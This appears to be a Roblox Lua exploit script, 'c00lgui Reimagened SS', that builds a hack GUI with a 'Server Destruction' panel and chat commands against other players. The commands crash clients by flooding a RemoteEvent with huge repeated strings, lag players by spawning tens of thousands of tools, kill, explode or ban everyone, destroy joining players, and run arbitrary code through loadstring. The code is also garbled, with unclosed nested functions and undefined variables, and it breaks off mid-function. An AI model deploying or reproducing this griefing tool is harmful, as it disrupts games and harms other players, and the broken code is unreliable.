c00lgui Reimagened SS
c00lgui Reimagened SS
PlayerGui
if playerGui:FindFirstChild("superdupergui") then
playerGui:FindFirstChild("superdupergui"):Destroy(); end
-- put scripts under here! --
blak = Color3.new(0.0823529, 0.0823529, 0.0823529)
rede = Color3.new(1, 0, 0)
tef = "SourceSans"
whit = Color3.new(255/255,255/255,255/255)
local cka = Instance.new("ScreenGui")
cka.Parent = game.Players.LocalPlayer.PlayerGui
cka.Name = "superdupergui"
local frame = Instance.new("Frame")
frame.Parent = cka
frame.BackgroundColor3 = blak
frame.BorderColor3 = rede
frame.BorderSizePixel = 3
frame.Name = "Frame"
frame.Position = UDim2.new(0,3,0.3,0)
frame.Size = UDim2.new(0,300,0,400)
local cope = Instance.new("TextButton")
cope.Parent = cka
cope.Active = true
cope.AutoButtonColor = true
cope.BackgroundColor3 = blak
cope.BorderColor3 = rede
cope.BorderSizePixel = 3
cope.Name = "Close/Open"
cope.Position = UDim2.new(0,3,0.3,380)
cope.Selectable = true
cope.Size = UDim2.new(0,300,0,20)
cope.ZIndex = 3
cope.Font = "SourceSans"
cope.FontSize = "Size18"
cope.Text = "Close"
cope.TextColor3 = Color3.new(255,255,255)
cope.TextXAlignment = "Center"
cope.TextYAlignment = "Center"
cope.MouseButton1Down:connect(function()
if cope.Text == "Close" then
frame.Visible = false
cope.Text = "Open" else
frame.Visible = true
cope.Text = "Close"
end
end)
local page1 = Instance.new("Frame")
page1.Parent = frame
page1.BackgroundColor3 = blak
page1.BorderColor3 = rede
page1.BorderSizePixel = 3
page1.Name = "Page1"
page1.Position = UDim2.new(0,0,0,83)
page1.Size = UDim2.new(1,0,1,-106)
page1.ZIndex = 2
page1.Visible = true
local page2 = Instance.new("Frame")
page2.Parent = frame
page2.BackgroundColor3 = blak
page2.BorderColor3 = rede
page2.BorderSizePixel = 3
page2.Name = "Page2"
page2.Position = UDim2.new(0,0,0,83)
page2.Size = UDim2.new(1,0,1,-106)
page2.ZIndex = 2
page2.Visible = false
local page3 = Instance.new("Frame")
page3.Parent = frame
page3.BackgroundColor3 = blak
page3.BorderColor3 = rede
page3.BorderSizePixel = 3
page3.Name = "Page3"
page3.Position = UDim2.new(0,0,0,83)
page3.Size = UDim2.new(1,0,1,-106)
page3.ZIndex = 2
page3.Visible = false
local page4 = Instance.new("Frame")
page4.Parent = frame
page4.BackgroundColor3 = blak
page4.BorderColor3 = rede
page4.BorderSizePixel = 3
page4.Name = "Page4"
page4.Position = UDim2.new(0,0,0,83)
page4.Size = UDim2.new(1,0,1,-106)
page4.ZIndex = 2
page4.Visible = false
local page5 = Instance.new("Frame")
page5.Parent = frame
page5.BackgroundColor3 = blak
page5.BorderColor3 = rede
page5.BorderSizePixel = 3
page5.Name = "Page5"
page5.Position = UDim2.new(0,0,0,83)
page5.Size = UDim2.new(1,0,1,-106)
page5.ZIndex = 2
page5.Visible = false
local page = Instance.new("Frame")
page.Parent = frame
page.BackgroundColor3 = blak
page.BorderColor3 = rede
page.BorderSizePixel = 3
page.Name = "Settings"
page.Position = UDim2.new(1,3,0,0)
page.Size = UDim2.new(1,0,1,0)
page.ZIndex = 1
page.Visible = true
local right = Instance.new("TextButton")
right.Parent = frame
right.BackgroundColor3 = blak
right.BorderColor3 = rede
right.BorderSizePixel = 3
right.Name = ">"
right.Position = UDim2.new(0.5,3,0,40)
right.Size = UDim2.new(0.5,-3,0,40)
right.ZIndex = 2
right.Font = tef
right.FontSize = "Size48"
right.Text = ">"
right.TextColor3 = whit
right.MouseButton1Down:connect(function()
if page1.Visible == true then
page1.Visible = false
page2.Visible = true
elseif page2.Visible == true then
page2.Visible = false
page3.Visible = true
elseif page3.Visible == true then
page3.Visible = false
page4.Visible = true
elseif page4.Visible == true then
page4.Visible = false
page5.Visible = true
elseif page5.Visible == true then
page5.Visible = false
page1.Visible = true
end
end)
local left = Instance.new("TextButton")
left.Parent = frame
left.BackgroundColor3 = blak
left.BorderColor3 = rede
left.BorderSizePixel = 3
left.Name = "<"
left.Position = UDim2.new(0,0,0,40)
left.Size = UDim2.new(0.5,-3,0,40)
left.ZIndex = 2
left.Font = tef
left.FontSize = "Size48"
left.Text = "<"
left.TextColor3 = whit
left.MouseButton1Down:connect(function()
if page1.Visible == true then
page1.Visible = false
page5.Visible = true
elseif page2.Visible == true then
page2.Visible = false
page1.Visible = true
elseif page3.Visible == true then
page3.Visible = false
page2.Visible = true
elseif page4.Visible == true then
page4.Visible = false
page3.Visible = true
elseif page5.Visible == true then
page5.Visible = false
page4.Visible = true
end
end)
local title = Instance.new("TextLabel")
title.Parent = frame
title.BackgroundColor3 = blak
title.BorderColor3 = rede
title.BorderSizePixel = 3
title.Name = "Title"
title.Position = UDim2.new(0,0,0,0)
title.Size = UDim2.new(1,0,0,40)
title.ZIndex = 2
title.Font = tef
title.FontSize = "Size24"
title.Text = "c00lgui Remimagined SS"
title.TextColor3 = whit
-- inside pages --
local acg = Instance.new("Frame")
acg.Parent = page1
acg.BackgroundColor3 = blak
acg.BorderColor3 = rede
acg.BorderSizePixel = 3
acg.Name = "Admin Commands/Guis"
acg.Position = UDim2.new(0.5,3,0,0)
acg.Size = UDim2.new(0.5,-3,1,0)
acg.ZIndex = 2
local sd = Instance.new("Frame")
sd.Parent = page1
sd.BackgroundColor3 = blak
sd.BorderColor3 = rede
sd.BorderSizePixel = 3
sd.Name = "Server Destruction"
sd.Position = UDim2.new(0,0,0,0)
sd.Size = UDim2.new(0.5,-3,1,0)
sd.ZIndex = 2
local gt = Instance.new("Frame")
gt.Parent = page2
gt.BackgroundColor3 = blak
gt.BorderColor3 = rede
gt.BorderSizePixel = 3
gt.Name = "Gear/Tools"
gt.Position = UDim2.new(0.5,3,0,0)
gt.Size = UDim2.new(0.5,-3,1,0)
gt.ZIndex = 2
local ws = Instance.new("Frame")
ws.Parent = page2
ws.BackgroundColor3 = blak
ws.BorderColor3 = rede
ws.BorderSizePixel = 3
ws.Name = "Weapon Scripts"
ws.Position = UDim2.new(0,0,0,0)
ws.Size = UDim2.new(0.5,-3,1,0)
ws.ZIndex = 2
local localp = Instance.new("Frame")
localp.Parent = page3
localp.BackgroundColor3 = blak
localp.BorderColor3 = rede
localp.BorderSizePixel = 3
localp.Name = "LocalPlayer"
localp.Position = UDim2.new(0.5,3,0,0)
localp.Size = UDim2.new(0.5,-3,1,0)
localp.ZIndex = 2
local misc = Instance.new("Frame")
misc.Parent = page3
misc.BackgroundColor3 = blak
misc.BorderColor3 = rede
misc.BorderSizePixel = 3
misc.Name = "Misc"
misc.Position = UDim2.new(0,0,0,0)
misc.Size = UDim2.new(0.5,-3,1,0)
misc.ZIndex = 2
local pmi = Instance.new("Frame")
pmi.Parent = page4
pmi.BackgroundColor3 = blak
pmi.BorderColor3 = rede
pmi.BorderSizePixel = 3
pmi.Name = "Preset Music IDs"
pmi.Position = UDim2.new(0.5,3,0,0)
pmi.Size = UDim2.new(0.5,-3,1,0)
pmi.ZIndex = 2
local psd = Instance.new("Frame")
psd.Parent = page4
psd.BackgroundColor3 = blak
psd.BorderColor3 = rede
psd.BorderSizePixel = 3
psd.Name = "Preset Skybox/Decal IDs"
psd.Position = UDim2.new(0,0,0,0)
psd.Size = UDim2.new(0.5,-3,1,0)
psd.ZIndex = 2
local edn = Instance.new("Frame")
edn.Parent = page5
edn.BackgroundColor3 = blak
edn.BorderColor3 = rede
edn.BorderSizePixel = 3
edn.Name = "End"
edn.Position = UDim2.new(0.5,3,0,0)
edn.Size = UDim2.new(0.5,-3,1,0)
edn.ZIndex = 2
local pgi = Instance.new("Frame")
pgi.Parent = page5
pgi.BackgroundColor3 = blak
pgi.BorderColor3 = rede
pgi.BorderSizePixel = 3
pgi.Name = "Preset Gear IDs"
pgi.Position = UDim2.new(0,0,0,0)
pgi.Size = UDim2.new(0.5,-3,1,0)
pgi.ZIndex = 2
-- inside pages end --
-- Admin Commands/Guis --
local button = Instance.new("TextButton")
button.Parent = acg
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "iOrb"
button.Position = UDim2.new(0,0,0,33)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "i0rb"
button.TextColor3 = whit
button.MouseButton1Down:connect(function()
wait()
local folder = Instance.new("Model", game.Lighting)
folder.Name = "sbans"
game:GetService('RunService').Stepped:connect(function()
for i,x in pairs(folder:children()) do
for i,v in pairs(game.Players:children()) do if v.Name==x.Value
then
bannnedd1=Instance.new('RemoteEvent',workspace):FireClient(game.Players[x.Value],
{string.rep("Getbannedbro?",2e5+5)})
end
end
end
end)
game.Players.PlayerAdded:connect(function(player)
Game:GetService('Chat'):Chat(p, player.Name .. " has joined! AccountAge
= " .. player.AccountAge .. " | UserID = " .. player.UserId .. " |..!",
Enum.ChatColor.Red)
end)
game.Players.ChildRemoved:connect(function(player2)
Game:GetService('Chat'):Chat(p, player2.Name .. " has left! AccountAge
= " .. player2.AccountAge .. " | UserID = " .. player2.UserId .. " |..!",
Enum.ChatColor.Red)
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "muslist" then
sg2 = Instance.new("ScreenGui", Admins.PlayerGui)
fm2 = Instance.new("Frame", sg2)
fm2.Position = UDim2.new(0.42,0,0.3,0)
fm2.Size = UDim2.new(0,300,0,400)
fm2.BackgroundColor3 = Color3.new(0,0,0)
fm2.BackgroundTransparency = 0.5
fm2.BorderSizePixel = 0
s1 = Instance.new("TextButton", fm2)
s1.Size = UDim2.new(0,300,0,25)
s1.TextColor3 = Color3.new(255,255,255)
s1.FontSize = 2
s1.Text = "Cake"
s1.BackgroundTransparency = 1
s2 = Instance.new("TextButton", fm2)
s2.Size = UDim2.new(0,300,0,25)
s2.Position = UDim2.new(0,0,0,25)
s2.TextColor3 = Color3.new(255,255,255)
s2.FontSize = 2
s2.Text = "Watcha"
s2.BackgroundTransparency = 1
s3 = Instance.new("TextButton", fm2)
s3.Size = UDim2.new(0,300,0,25)
s3.Position = UDim2.new(0,0,0,50)
s3.TextColor3 = Color3.new(255,255,255)
s3.FontSize = 2
s3.Text = "Moonman"
s3.BackgroundTransparency = 1
s4 = Instance.new("TextButton", fm2)
s4.Size = UDim2.new(0,300,0,25)
s4.Position = UDim2.new(0,0,0,75)
s4.TextColor3 = Color3.new(255,255,255)
s4.FontSize = 2
s4.Text = "Hello"
s4.BackgroundTransparency = 1
s5 = Instance.new("TextButton", fm2)
s5.Size = UDim2.new(0,300,0,25)
s5.Position = UDim2.new(0,0,0,100)
s5.TextColor3 = Color3.new(255,255,255)
s5.FontSize = 2
s5.Text = "Lean"
s5.BackgroundTransparency = 1
s6 = Instance.new("TextButton", fm2)
s6.Size = UDim2.new(0,300,0,25)
s6.Position = UDim2.new(0,0,0,125)
s6.TextColor3 = Color3.new(255,255,255)
s6.FontSize = 2
s6.Text = "Waves"
s6.BackgroundTransparency = 1
s7 = Instance.new("TextButton", fm2)
s7.Size = UDim2.new(0,300,0,25)
s7.Position = UDim2.new(0,0,0,150)
s7.TextColor3 = Color3.new(255,255,255)
s7.FontSize = 2
s7.Text = "Baby"
s7.BackgroundTransparency = 1
close2 = Instance.new("TextButton", fm2)
close2.Size = UDim2.new(0,15,0,15)
close2.Position = UDim2.new(0,285,0,0)
close2.BackgroundTransparency = 1
close2.TextColor3 = Color3.new(255,255,255)
close2.Text = "X"
close2.MouseButton1Click:connect(function()
fm2:Destroy()
sg2:Destroy()
end)
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "cmds" then
local screenGui = Instance.new("ScreenGui")
screenGui.Parent = Admins.PlayerGui
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "console show" then
sg = Instance.new('ScreenGui', Admins.PlayerGui)
fm = Instance.new('Frame', sg)
fm.Selectable = true
fm.Size = UDim2.new(0,400,0,300)
fm.BackgroundColor3 = Color3.new(0,0,0)
fm.BorderSizePixel = 4
fm.BorderColor3 = Color3.new(255,255,255)
fm.Position = UDim2.new(0.395,0,0.3,0)
txt = Instance.new('TextLabel', fm)
txt.Size = UDim2.new(0,400,0,25)
txt.Text = "~Game Console~"
txt.FontSize = Enum.FontSize.Size18
txt.TextColor3 = Color3.new(255,255,255)
txt.BackgroundColor3 = Color3.new(0,0,0)
txt.BorderSizePixel = 4
txt.BorderColor3 = Color3.new(255,255,255)
box = Instance.new('TextBox', fm)
box.Position = UDim2.new(0,50,0,50)
box.Size = UDim2.new(0,300,0,200)
box.BackgroundColor3 = Color3.new(0,0,0)
box.BorderSizePixel = 4
box.BorderColor3 = Color3.new(255,255,255)
box.TextColor3 = Color3.new(255,255,255)
box.ClearTextOnFocus = false
box.MultiLine = true
box.TextXAlignment = 'Left'
box.TextWrapped = true
box.TextYAlignment = 'Top'
box.Text = 'Click clear to clear the text or remove me by holding
backspace!'
load1 = Instance.new('TextButton', box)
load1.Size = UDim2.new(0,200,0,25)
load1.Position = UDim2.new(0,50,0,213)
load1.BackgroundColor3 = Color3.new(0, 170, 0)
load1.TextColor3 = Color3.new(0,0,0)
load1.BorderSizePixel = 4
load1.BorderColor3 = Color3.new(255,255,255)
load1.Text = "Execute!"
load1.MouseButton1Click:connect(function()
loadstring(box.Text)()
end)
clr = Instance.new('TextButton', box)
clr.Size = UDim2.new(0,50,0,25)
clr.Position = UDim2.new(0,275,0,213)
clr.BackgroundColor3 = Color3.new(170,0,0)
clr.TextColor3 = Color3.new(0,0,0)
clr.BorderSizePixel = 4
clr.BorderColor3 = Color3.new(255,255,255)
clr.Text = "Clear!"
clr.MouseButton1Click:connect(function()
box.Text = ''
box:CaptureFocus()
end)
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "console hide" then
fm:Destroy()
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 5) == Prefix .. "kill" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(7))
if player.Name:lower():sub(1, #msg:sub(7)) ==
msg:sub(7):lower() then
pcall(function()
player.Character.Humanoid.Health = 0
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "kill me" then
Admins.Character.Humanoid.Health = 0
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "kill all" then
for i,v in pairs(game.Players:children()) do
v.Character.Humanoid.Health = 0
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 5) == Prefix .. "kick" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(7))
if player.Name:lower():sub(1, #msg:sub(7)) ==
msg:sub(7):lower() then
pcall(function()
local
getrekt=Instance.new('RemoteEvent',workspace):FireClient(player,
{string.rep("getkickedbro?",2e5+5)})
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "kick me" then
local
getrekt=Instance.new('RemoteEvent',workspace):FireClient(Admins,
{string.rep("getkickedbro?",2e5+5)})
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "kick all" then
for i,v in pairs(game.Players:children()) do
local
getrekt=Instance.new('RemoteEvent',workspace):FireClient(v,
{string.rep("getkickedbro?",2e5+5)})
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1,4) == Prefix .. "ban" then
for index, player1 in pairs(Players:GetPlayers()) do
player1.Name:lower():sub(1, #msg:sub(6))
if player1.Name:lower():sub(1, #msg:sub(6)) ==
msg:sub(6):lower() then
pcall(function()
local
getrekt=Instance.new('RemoteEvent',workspace):FireClient(player1,
{string.rep("getkickedbro?",2e5+5)})
if game.Players:FindFirstChild(player1.Name)
then
ban=Instance.new('StringValue',folder)
ban.Name = player1.Name
ban.Value = player1.Name
end
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "ban me" then
local
getrekt=Instance.new('RemoteEvent',workspace):FireClient(Admins,
{string.rep("getkickedbro?",2e5+5)})
if game.Players:FindFirstChild(Admins.Name) then
ban=Instance.new('StringValue',folder)
ban.Name = Admins.Name
ban.Value = Admins.Name
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "ban all" then
for i,v in pairs(game.Players:children()) do
local
getrekt=Instance.new('RemoteEvent',workspace):FireClient(v,
{string.rep("getkickedbro?",2e5+5)})
if game.Players:FindFirstChild(v.Name) then
ban=Instance.new('StringValue',folder)
ban.Name = v.Name
ban.Value = v.Name
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 8) == Prefix .. "explode" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(10))
if player.Name:lower():sub(1, #msg:sub(10)) ==
msg:sub(10):lower() then
pcall(function()
ex = Instance.new("Explosion", game.Workspace)
ex.Position = player.Character.Torso.Position
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "explode me" then
ex1 = Instance.new("Explosion", game.Workspace)
ex1.Position = Admins.Character.Torso.Position
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "explode all" then
for i,v in pairs(game.Players:children()) do
ex1 = Instance.new("Explosion", game.Workspace)
ex1.Position = v.Character.Torso.Position
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1,4) == Prefix .. "exe" then
loadstring(msg:sub(5,#msg))()
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 3) == Prefix .. "ff" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(5))
if player.Name:lower():sub(1, #msg:sub(5)) ==
msg:sub(5):lower() then
pcall(function()
Instance.new("ForceField", player.Character)
end)
else
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 5) == Prefix .. "unff" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(7))
if player.Name:lower():sub(1, #msg:sub(7)) ==
msg:sub(7):lower() then
pcall(function()
while true do
player.Character.ForceField:Destroy()
end
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "ff me" then
Instance.new("ForceField", Admins.Character)
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "unff me" then
while true do
Admins.Character.ForceField:Destroy()
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "ff all" then
for i,v in pairs(game.Players:children()) do
Instance.new("ForceField", v.Character)
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "unff all" then
for i,v in pairs(game.Players:GetChildren()) do
if v and v.Character then
for z, cl in pairs(v.Character:children()) do if
cl:IsA("ForceField") then cl:Destroy() end end
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 4) == Prefix .. "god" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(6))
if player.Name:lower():sub(1, #msg:sub(6)) ==
msg:sub(6):lower() then
pcall(function()
player.Character.Humanoid.MaxHealth = math.huge
end)
else
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 6) == Prefix .. "ungod" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(8))
if player.Name:lower():sub(1, #msg:sub(8)) ==
msg:sub(8):lower() then
pcall(function()
player.Character.Humanoid.MaxHealth = 100
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "god me" then
Admins.Character.Humanoid.MaxHealth = math.huge
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "ungod me" then
while true do
Admins.Character.Humanoid.MaxHealth = 100
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "god all" then
for i,v in pairs(game.Players:children()) do
v.Character.Humanoid.MaxHealth = math.huge
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "ungod all" then
for i,v in pairs(game.Players:GetChildren()) do
v.Character.Humanoid.MaxHealth = 100
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 8) == Prefix .. "respawn" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(10))
if player.Name:lower():sub(1, #msg:sub(10)) ==
msg:sub(10):lower() then
pcall(function()
player:LoadCharacter()
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "respawn me" then
Admins:LoadCharacter()
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "respawn all" then
for i,v in pairs(game.Players:children()) do
v:LoadCharacter()
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 4) == Prefix .. "lag" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(6))
if player.Name:lower():sub(1, #msg:sub(6)) ==
msg:sub(6):lower() then
pcall(function()
for i = 1,10000 do
if player and
player:findFirstChild("Backpack") then
local t1 =
Instance.new("HopperBin", player.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
local t2 =
Instance.new("HopperBin", player.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
local t3 =
Instance.new("HopperBin", player.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
local t4= Instance.new("HopperBin",
player.Backpack) t4.Name = "Resize"
end
end
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "lag me" then
for i = 1,1000000 do
if Admins and Admins:findFirstChild("Backpack") then
local t1 = Instance.new("HopperBin", Admins.Backpack)
t1.Name = "Move" t1.BinType = "GameTool"
local t2 = Instance.new("HopperBin", Admins.Backpack)
t2.Name = "Clone" t2.BinType = "Clone"
local t3 = Instance.new("HopperBin", Admins.Backpack)
t3.Name = "Delete" t3.BinType = "Hammer"
local t4= Instance.new("HopperBin", Admins.Backpack)
t4.Name = "Resize"
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "lag all" then
for i,v in pairs(game.Players:children()) do
for i = 1,10000 do
if v and v:findFirstChild("Backpack") then
local t1 = Instance.new("HopperBin",
v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
local t2 = Instance.new("HopperBin",
v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
local t3 = Instance.new("HopperBin",
v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
local t4= Instance.new("HopperBin", v.Backpack)
t4.Name = "Resize"
end
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 12) == Prefix .. "removetools" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(14))
if player.Name:lower():sub(1, #msg:sub(14)) ==
msg:sub(14):lower() then
pcall(function()
if Admins and Admins.Character and
Admins:findFirstChild("Backpack") then
for a, tool in
pairs(player.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin")
then tool:Destroy() end end
for a, tool in
pairs(player.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin")
then tool:Destroy() end end
end
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "removetools me" then
if Admins and Admins.Character and
Admins:findFirstChild("Backpack") then
for a, tool in pairs(Admins.Character:children()) do if
tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
for a, tool in pairs(Admins.Backpack:children()) do if
tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "removetools all" then
for i,v in pairs(game.Players:children()) do
if v and v.Character and v:findFirstChild("Backpack") then
for a, tool in pairs(v.Character:children()) do if
tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
for a, tool in pairs(v.Backpack:children()) do if
tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 4) == Prefix .. "sit" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(6))
if player.Name:lower():sub(1, #msg:sub(6)) ==
msg:sub(6):lower() then
pcall(function()
player.Character.Humanoid.Sit = true
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "sit me" then
Admins.Character.Humanoid.Sit = true
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "sit all" then
for i,v in pairs(game.Players:children()) do
v.Character.Humanoid.Sit = true
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 5) == Prefix .. "jump" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(7))
if player.Name:lower():sub(1, #msg:sub(7)) ==
msg:sub(7):lower() then
pcall(function()
player.Character.Humanoid.Jump = true
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "jump me" then
Admins.Character.Humanoid.Jump = true
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "jump all" then
for i,v in pairs(game.Players:children()) do
v.Character.Humanoid.Jump = true
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 5) == Prefix .. "bruh" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(7))
if player.Name:lower():sub(1, #msg:sub(7)) ==
msg:sub(7):lower() then
pcall(function()
pp1 = Instance.new("Sound",
player.Character.Torso)
pp1.SoundId = "http://www.roblox.com/asset/?
id=170040190"
pp1.Volume = 100
pp1.Pitch = 1
pp1.Looped = false
pp1:Play()
wait(0.9)
player.Character.Humanoid.PlatformStand = true
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "bruh me" then
pp1 = Instance.new("Sound", Admins.Character.Torso)
pp1.SoundId = "http://www.roblox.com/asset/?id=170040190"
pp1.Volume = 100
pp1.Pitch = 1
pp1.Looped = false
pp1:Play()
wait(0.9)
Admins.Character.Humanoid.PlatformStand = true
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "bruh all" then
for i,v in pairs(game.Players:children()) do
pp1 = Instance.new("Sound", v.Character.Torso)
pp1.SoundId = "http://www.roblox.com/asset/?id=170040190"
pp1.Volume = 100
pp1.Pitch = 1
pp1.Looped = false
pp1:Play()
wait(0.9)
v.Character.Humanoid.PlatformStand = true
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1,3) == Prefix .. "ws" then
Admins.Character.Humanoid.WalkSpeed = msg:sub(4,#msg)
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1,5) == Prefix .. "gear" then
game:service'InsertService':LoadAsset(tonumber(msg:sub(6,#msg))):children()
[1].Parent = Admins.Backpack
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 3) == Prefix .. "tp" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(5))
if player.Name:lower():sub(1, #msg:sub(5)) ==
msg:sub(5):lower() then
pcall(function()
Admins.Character.Torso.CFrame =
player.Character.Torso.CFrame
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1,6) == "!music" then
findsong = 'BadLukeeSoundsz'
if workspace.Terrain:FindFirstChild(findsong) then
game.Debris:AddItem(workspace.Terrain[findsong],0)
end
sd=Instance.new('Sound',workspace.Terrain)
sd.SoundId = "http://www.roblox.com/asset/?id="..msg:sub(7,#msg)
sd.Volume = 10
sd.Name = 'BadLukeeSoundsz'
sd.Pitch = 1
sd.Looped = true
sd:play()
if string.find(msg:lower():sub(7,#msg),'watcha') then
sd.SoundId = "http://www.roblox.com/asset/?id=177681012"
end
if string.find(msg:lower():sub(7,#msg),'lean') then
sd.SoundId = "http://www.roblox.com/asset/?id=328474897"
end
if string.find(msg:lower():sub(7,#msg),'baby') then
sd.SoundId = "http://www.roblox.com/asset/?id=130841252"
end
if string.find(msg:lower():sub(7,#msg),'moonman') then
sd.SoundId = "http://www.roblox.com/asset/?id=340924386"
end
if string.find(msg:lower():sub(7,#msg),'hello') then
sd.SoundId = "http://www.roblox.com/asset/?id=313694441"
end
if string.find(msg:lower():sub(7,#msg),'waves') then
sd.SoundId = "http://www.roblox.com/asset/?id=253545802"
end
if string.find(msg:lower():sub(7,#msg),'cake') then
sd.SoundId = "http://www.roblox.com/asset/?id=313144336"
end
end
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "pri" then
game.Players.PlayerAdded:connect(function(player)
repeat until player.Character wait()
player:Destroy()
end)
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower():sub(1, 7) == Prefix .. "btools" then
for index, player in pairs(Players:GetPlayers()) do
player.Name:lower():sub(1, #msg:sub(9))
if player.Name:lower():sub(1, #msg:sub(9)) ==
msg:sub(9):lower() then
pcall(function()
if player and player:findFirstChild("Backpack")
then
local t1 = Instance.new("HopperBin",
player.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
local t2 = Instance.new("HopperBin",
player.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
local t3 = Instance.new("HopperBin",
player.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
local t4= Instance.new("HopperBin",
player.Backpack) t4.Name = "Resize"
end
end)
end
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "btools me" then
if Admins and Admins:findFirstChild("Backpack") then
